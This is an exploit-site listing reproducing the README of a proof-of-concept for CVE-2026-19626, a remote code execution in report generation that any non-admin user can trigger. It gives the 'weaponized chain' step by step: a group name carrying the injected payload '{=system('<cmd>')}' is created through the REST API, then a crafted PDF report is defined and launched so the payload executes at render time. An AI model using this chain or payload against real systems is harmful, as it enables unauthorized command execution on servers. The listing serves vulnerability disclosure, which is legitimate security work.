Sploitus

Exploit for POC

CVE-2026-19626

kitploit · 2026-08-25

Exploit Code

MARKDOWN14 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-H00DIE-POC-CVE-2026-19626
![infoGraphic](https://assets.kitploit.com/production/public/readmes/51339/03d482a18067dd134e4875cb8773b203221d293847dd9814a36c5d4543d48aab/e88b43c41833ac05f8e293c3c16c84e1fa6057c24dab8d931e28da0b26d67819-display-v1.webp)

# CVE-2026-19626 — RCE in report generation (authenticated, non-admin)

**Status: CONFIRMED — pure-REMOTE, non-admin, REST-only** (6.7.2-14.el9 lab, 2026-08-21).

The weaponized chain (this is what poc.py does):

  1. login as any regular org user
  2. `POST /rest/group` with `name: "{=system('<cmd>')}"` — braces/quotes accepted verbatim (the group controller has no charset check)
  3. `POST /rest/reportDefinition` — PDF report, one pieChart component, `user/sumgroup` query, `labelColumns: groupID`
  4. `POST /rest/reportDefinition/{id}/launch`
  5. At render, `substituteParams()` substitutes the  placeholder with the group name BEFORE the  eval loop runs — the payload lands inside the format string and  fires as tns